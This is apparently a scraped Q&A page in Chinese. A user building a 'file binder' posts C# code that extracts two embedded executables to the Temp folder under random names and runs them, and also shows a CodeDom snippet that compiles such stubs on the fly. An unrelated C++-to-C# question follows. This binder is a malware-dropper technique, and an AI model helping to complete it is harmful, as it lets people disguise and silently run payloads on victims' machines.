所以,我正在制作一个文件活页夹。
saves1并且saves2是嵌入式资源,
我想将其解压缩到临时文件夹中。
这是我的代码:
using System.IO;
using System.Diagnostics;
namespace _123
{
class Program
{
static void Main(string[] args)
{
string patdth = @"C:\Users\Alfred\AppData\Local\Temp";
byte[] lel1 = Properties.Resources.saves2;
byte[] lel = Properties.Resources.saves1;
File.WriteAllBytes(patdth + "\\hdhtehyr.exe", lel);
File.WriteAllBytes(patdth + "\\hdhdhdhgd.exe", lel1);
Process.Start(patdth + "\\hdhtehyr.exe");
Process.Start(patdth + "\\hdhdhdhgd.exe");
}
}
}
Run Code Online (Sandbox Code Playgroud)
我收到此错误:
“错误 CS0103 当前上下文 ConsoleApplication3 中不存在名称‘属性’”。
编辑:
我在这里动态插入资源,你可以看到我的代码 "/resources" + Path" 是我添加资源的方式。
public void compile2(string file)
{
CodeDomProvider provider = CodeDomProvider.CreateProvider("CSharp");
CompilerParameters compars = new CompilerParameters();
compars.ReferencedAssemblies.Add("System.dll");
compars.ReferencedAssemblies.Add("System.Reflection.dll");
compars.ReferencedAssemblies.Add("System.IO.dll"); …Run Code Online (Sandbox Code Playgroud) 我正在尝试将 C++ 代码转换为 C#。我对 C++ 的了解只有 10%。
这是我试图在 c# “ ”中转换的代码部分AnsiString something[200];。” AnsiString hi = "hello";“。
先感谢您。